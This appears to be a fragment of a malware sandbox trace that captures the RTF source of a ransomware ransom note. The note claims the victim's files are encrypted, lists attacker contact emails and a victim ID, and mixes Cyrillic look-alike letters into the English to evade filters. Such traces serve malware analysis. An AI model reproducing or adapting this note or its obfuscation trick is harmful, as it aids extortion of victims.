billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s 